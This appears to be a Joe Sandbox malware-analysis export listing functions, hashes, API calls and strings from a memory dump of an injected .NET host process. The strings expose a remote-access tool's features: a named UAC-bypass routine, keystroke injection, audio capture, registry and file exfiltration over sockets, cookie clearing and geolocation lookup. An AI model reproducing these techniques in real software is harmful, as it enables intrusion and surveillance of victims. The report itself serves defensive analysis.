Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98

Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5edaaaea362a6c10ef7d8e875ae5e8a922473b35402a21f9a1197ff68539a873
Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
Opcode Fuzzy Hash: 5edaaaea362a6c10ef7d8e875ae5e8a922473b35402a21f9a1197ff68539a873
Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69

Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

_memcmp.LIBVCRUNTIME ref: 00445423
_free.LIBCMT ref: 00445494
_free.LIBCMT ref: 004454AD
_free.LIBCMT ref: 004454DF
_free.LIBCMT ref: 004454E8
_free.LIBCMT ref: 004454F4

Strings

C, xrefs: 004452E1

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 3b59ec677d4d175c50db296303e2411e5fb3dbfaa0361dba4d40d6cf04aba7d4
Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
Opcode Fuzzy Hash: 3b59ec677d4d175c50db296303e2411e5fb3dbfaa0361dba4d40d6cf04aba7d4
Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44

Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

udp, xrefs: 00414A46
tcp, xrefs: 00414A73

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: tcp$udp
API String ID: 0-3725065008
Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A

Function 00411CFE Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2

SetLastError.KERNEL32(000000C1,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
GetNativeSystemInfo.KERNEL32(?), ref: 00411DA5
SetLastError.KERNEL32(0000000E), ref: 00411DC9

Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000000,00000000,00000000,00000000,00411DE7,?,00000000,00003000,00000040,00000000), ref: 00411CB3

GetProcessHeap.KERNEL32(00000008,00000040), ref: 00411E10
HeapAlloc.KERNEL32(00000000), ref: 00411E17
SetLastError.KERNEL32(0000045A), ref: 00411F2A

Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE

Strings

t^F, xrefs: 00411D02

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
String ID: t^F
API String ID: 3950776272-389975521
Opcode ID: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
Opcode Fuzzy Hash: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9

Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 004018BE
ExitThread.KERNEL32 ref: 004018F6
waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

Strings

NG, xrefs: 00401990
NG, xrefs: 0040190D
XMG, xrefs: 00401902
PkG, xrefs: 00401888

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
String ID: PkG$XMG$NG$NG
API String ID: 1649129571-3151166067
Opcode ID: f03e1696385eff321045f3fd04ccd2f00e10c82d765726f3dffbcfbdf912789a
Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
Opcode Fuzzy Hash: f03e1696385eff321045f3fd04ccd2f00e10c82d765726f3dffbcfbdf912789a
Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E

Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

CloseHandle.KERNEL32(00000000), ref: 00407A4D
MoveFileW.KERNEL32 ref: 00407A6A
CloseHandle.KERNEL32(00000000), ref: 00407A95
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5

Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
Part of subcall function 00404B96: SetEvent.KERNEL32(?), ref: 00404BC3

Strings

.part, xrefs: 00407989

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
String ID: .part
API String ID: 1303771098-3499674018
Opcode ID: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
Opcode Fuzzy Hash: 3af979d2a86f55abb037a5ea190009b8bddef8696a723389280064d929b35107
Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A

Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C), ref: 004199CC
SendInput.USER32(00000001,?,0000001C), ref: 004199ED
SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
SendInput.USER32(00000001,?,0000001C), ref: 00419A21
SendInput.USER32(00000001,?,0000001C), ref: 00419A37
SendInput.USER32(00000001,?,0000001C), ref: 00419A54
SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
SendInput.USER32(00000001,?,0000001C), ref: 00419A8B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97

Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00447679
__freea.LIBCMT ref: 00447723
__freea.LIBCMT ref: 00447741

Part of subcall function 00435E40: _free.LIBCMT ref: 00435E56

Strings

zD, xrefs: 004479AB
am/pm, xrefs: 004477A4
a/p, xrefs: 00447808

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16_free
String ID: a/p$am/pm$zD
API String ID: 2936374016-2723203690
Opcode ID: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
Opcode Fuzzy Hash: ad0e661e8ca139f4988ec10911a06b569de76af7a8f23a444d27c6a0fba4a5cb
Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9

Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B

Strings

[regsplt], xrefs: 00413C17
TG, xrefs: 00413BFD
xUG, xrefs: 00413C46

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Enum$InfoQueryValue
String ID: [regsplt]$xUG$TG
API String ID: 3554306468-1165877943
Opcode ID: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
Opcode Fuzzy Hash: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9

Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00456D49

Strings

D[E, xrefs: 00456D10
D[E, xrefs: 00456C6D, 00456D5E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free
String ID: D[E$D[E
API String ID: 269201875-3695742444
Opcode ID: bc4a191701c62eeb9847f09c94d148ade9b95fc5d58c951cd89fb7ba37de2388
Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
Opcode Fuzzy Hash: bc4a191701c62eeb9847f09c94d148ade9b95fc5d58c951cd89fb7ba37de2388
Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D

Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00413D46

Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

RegCloseKey.ADVAPI32(00000000), ref: 00413EB4

Strings

NG, xrefs: 00413E23
xUG, xrefs: 00413EA6
TG, xrefs: 00413E9A
NG, xrefs: 00413D69

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseEnumInfoOpenQuerysend
String ID: xUG$NG$NG$TG
API String ID: 3114080316-2811732169
Opcode ID: f2e89265f4d2f0cfb10cd8f2c72011435137814bee02f1038c413f2e8c362d66
Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
Opcode Fuzzy Hash: f2e89265f4d2f0cfb10cd8f2c72011435137814bee02f1038c413f2e8c362d66
Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E

Function 0045112C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,000000FF,?,00000000,00000000,0043F8C8,?,00000000,?,00000001,?,000000FF,00000001,0043F8C8,?), ref: 00451179
__alloca_probe_16.LIBCMT ref: 004511B1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00451202
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00451214
__freea.LIBCMT ref: 0045121D

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

Strings

PkGNG, xrefs: 0045112E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID: PkGNG
API String ID: 313313983-263838557
Opcode ID: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
Opcode Fuzzy Hash: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94

Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665

Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8

_wcslen.LIBCMT ref: 0041B763

Strings

program files (x86)\, xrefs: 0041B75D
http\shell\open\command, xrefs: 0041B69A
8SG, xrefs: 0041B709, 0041B70E
program files\, xrefs: 0041B749, 0041B750, 0041B762
.exe, xrefs: 0041B6B5

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseCurrentOpenProcessQueryValue_wcslen
String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
API String ID: 37874593-122982132
Opcode ID: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
Opcode Fuzzy Hash: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269

Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 004135A6: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 004135CA
Part of subcall function 004135A6: RegQueryValueExA.ADVAPI32 ref: 004135E7
Part of subcall function 004135A6: RegCloseKey.ADVAPI32(?), ref: 004135F2

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
PathFileExistsA.SHLWAPI(?), ref: 0040BF78

Strings

[IE cookies not found], xrefs: 0040BF40
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders, xrefs: 0040BF02
[IE cookies cleared!], xrefs: 0040BFC5, 0040BFEA
Cookies, xrefs: 0040BEFD

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
API String ID: 1133728706-4073444585
Opcode ID: 246bfe7413cfec2d8385f2843d619168fbbecd56299b2e52a4c2fcf38f83732e
Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
Opcode Fuzzy Hash: 246bfe7413cfec2d8385f2843d619168fbbecd56299b2e52a4c2fcf38f83732e
Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE

Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 273ab8544d097714f5f9861dee4502037fec93a611cdb24e761043779f074d75
Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
Opcode Fuzzy Hash: 273ab8544d097714f5f9861dee4502037fec93a611cdb24e761043779f074d75
Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8

Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
InternetCloseHandle.WININET(00000000), ref: 0041B41C
InternetCloseHandle.WININET(00000000), ref: 0041B41F

Strings

http://geoplugin.net/json.gp, xrefs: 0041B3B7

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead
String ID: http://geoplugin.net/json.gp
API String ID: 3121278467-91888290
Opcode ID: 93fb62275c9c30ece467367bc9d260af9d028c0859994e7c2f4e10a89ee4ed45
Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
Opcode Fuzzy Hash: 93fb62275c9c30ece467367bc9d260af9d028c0859994e7c2f4e10a89ee4ed45
Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA

Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A

_free.LIBCMT ref: 00450F48

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00450F53
_free.LIBCMT ref: 00450F5E
_free.LIBCMT ref: 00450FB2
_free.LIBCMT ref: 00450FBD
_free.LIBCMT ref: 00450FC8
_free.LIBCMT ref: 00450FD3

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745

Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00411170
int.LIBCPMT ref: 00411183

Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC

std::_Facet_Register.LIBCPMT ref: 004111C3
std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
__CxxThrowException@8.LIBVCRUNTIME ref: 004111EA

Strings

(mG, xrefs: 0041117B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
String ID: (mG
API String ID: 2536120697-4059303827
Opcode ID: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
Opcode Fuzzy Hash: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9

Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8

Part of subcall function 004135A6: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 004135CA
Part of subcall function 004135A6: RegQueryValueExA.ADVAPI32 ref: 004135E7
Part of subcall function 004135A6: RegCloseKey.ADVAPI32(?), ref: 004135F2

StrToIntA.SHLWAPI(00000000), ref: 0041B33C

Strings

ProductName, xrefs: 0041B2D2
(32 bit), xrefs: 0041B36F
(64 bit), xrefs: 0041B368
CurrentBuildNumber, xrefs: 0041B31D
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041B2D7, 0041B2E1, 0041B322

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseCurrentOpenProcessQueryValue
String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 1866151309-2070987746
Opcode ID: 739a84b6b521fba7f3deec685196c40b2f0f20dc19e43594882229fa67cbe478
Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
Opcode Fuzzy Hash: 739a84b6b521fba7f3deec685196c40b2f0f20dc19e43594882229fa67cbe478
Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE

Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: fe039640f614891bfb869f3d54459c43faa771a51d809113de29b3036e5dc2e7
Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
Opcode Fuzzy Hash: fe039640f614891bfb869f3d54459c43faa771a51d809113de29b3036e5dc2e7
Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D

Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0

Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582

CoUninitialize.OLE32 ref: 00407629

Strings

[+] ucmCMLuaUtilShellExecMethod, xrefs: 004075B5
[+] ShellExec success, xrefs: 0040760E
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 004075B0, 004075B3, 00407605
[+] before ShellExec, xrefs: 004075F1

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: InitializeObjectUninitialize_wcslen
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
API String ID: 3851391207-3324213274
Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB

Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

